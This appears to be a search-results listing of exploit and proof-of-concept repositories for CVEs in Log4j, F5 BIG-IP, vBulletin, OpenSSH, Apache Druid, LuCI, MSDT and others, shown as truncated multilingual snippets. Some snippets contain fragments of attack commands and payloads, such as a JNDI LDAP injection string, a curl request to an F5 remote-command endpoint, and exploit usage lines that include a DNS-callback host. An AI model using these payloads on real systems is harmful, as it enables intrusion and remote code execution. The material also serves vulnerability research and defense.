272252 matches found
CVE-2024-27956-WORDPRESS-RCE-PLUGIN
CVE-2024-27956-WORDPRESS-RCE-PLUGIN CVE-2024-27956 WORDPRESS RCE PLUGIN Plugin atacado wp-automatic...
Log4J_0day_RCE
Únete a la Comunidad Telegram CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas puedes usar JNDI-Injection-Exploit para explotar. Bypass rc1 Por ejemplo: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF...
text4shell-docker
Instalar maven - maven-linux 1. Instalar Maven para crear el fat jar root@kitploit: mvn clean install 2. Construir la imagen Docker root@kitploit: docker build --tag=text4shell . 3. Ejecutar el contenedor Docker root@kitploit: docker run -p 80:8080 text4shell 4. Probar la aplicación root@kitploit...
CVE-2021-43503
Advertencia La vulnerabilidad ha sido revocada Override Esto trata sobre CVE-2021-43503, no pude replicar esta vulnerabilidad a través de exp Requisitos PHP 7.1. Composer registrar=$b; namespace Illuminate\Queue\Capsule class Manager protected $manager; public function construct$c...
LuCI_RCE_exp
EXP de CVE-2019-12272 CVE-2019-12272 es una vulnerabilidad de LuCI para ejecutar código bash arbitrario. Detalles https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html Uso python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls python...
MiniExploit
MiniExploit WebMin Versiones...
WebKit-CVE-2016-4622
WebKit CVE-2016-4622 Analysis: Deep Dive into the Slice ValueOf Fastpath Vulnerability Comprehensive analysis and exploitation of the WebKit JavaScript Core vulnerability that enables memory disclosure through Array.slice manipulation Table of Contents Executive Summary Vulnerability Overview...
CVE-2020-17496
CVE-2020-17496 root@kitploit: POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo...
CVE-2022-1388-RCE-checker-and-POC-Exploit
CVE-2022-1388 RCE checker Simple bash script to check CVE-2022-1388 RCE F5 BIG-IP. + Usage: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Don't forget to change the IP address root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat...
CVE-2021-22204
CVE-2021-22204 - Ejecución Remota de Código en Exiftool Descripción Recientemente, el investigador wcbowling encontró una vulnerabilidad en la herramienta Exiftool, que permitía a un actor malintencionado realizar un ataque de Ejecución Remota de Código. Esta vulnerabilidad fue descubierta en el...
CVE-2021-25646
Apache Druid Ejecución Remota de Código CVE-2021-25646 por j2ekim Modo de uso root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Artículo sobre la reproducción de la vulnerabilidad https://www.adminxe.com/2109.html Aviso...
CVE-2024-49113
LDAP Nightmare An exploit for CVE-2024-49113 reported by Yuki Chen @guhe120. A vulnerability in Windows Lightweight Directory Access Protocol LDAP. Created by SafeBreach Labs published on January 1st 2025. For the full technical analysis of the vulnerability and how we managed to exploit it check...
Article-RegreSSHion-CVE-2024-6387
RegreSSHion CVE-2024-6387 : Vulnérabilité critique d'exécution de code à distance dans OpenSSH À une époque où la sécurité numérique est cruciale, une nouvelle vulnérabilité dans OpenSSH, identifiée comme CVE-2024-6387, a attiré l'attention des administrateurs système et des professionnels de la...
mbanyamer-Microsoft-PowerPoint-Use-After-Free-Remote-Code-Execution-RCE
CVE-2025-47175 - Preuve de concept d'exécution de code à distance par Use-After-Free UAF dans Microsoft PowerPoint Aperçu Ce dépôt contient une preuve de concept PoC pour la vulnérabilité CVE-2025-47175 trouvée dans Microsoft PowerPoint. La vulnérabilité est un bug Use-After-Free UAF qui permet à...
CVE-2024-39306
Descripción Este script es un PoC para CVE-2024-39306, donde es posible un RCE debido a una SQLi en la que un usuario autenticado puede ejecutar comandos arbitrarios en un servidor que ejecute ChurchCRM -p -b -c Ejemplo: python3 CVE-2024-39306.py -u FirstLast -p Password123 -b...
CVE-2024-6387
转载原文 CVE-2024-6387 - PoC 📜 Description Note: This script is a quick prototype PoC, expect some errors and bugs may occur. Tested on: Kali Linux, ParrotSec, Ubuntu 22.04 Remote Unauthenticated Code Execution Vulnerability in OpenSSH server A signal handler race condition was found in OpenSSH's...
CVE-2024-0195-SpiderFlow
CVE-2024-0195 Control Inadecuado de la Generación de Código 'Inyección de Código' Resumen CVE-2024-0195 es una vulnerabilidad crítica de inyección de código en la aplicación web spider-flow 0.4.3, específicamente en la función FunctionService.saveFunction del archivo FunctionController.java. Un...
CVE-2022-0324
cve-2022-0324 https://ngtuonghung.github.io/pwn/cve-reproduction/cve-2022-0324/...
Deathnote
Deathnote Proof of Concept of CVE-2022-30190 A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling...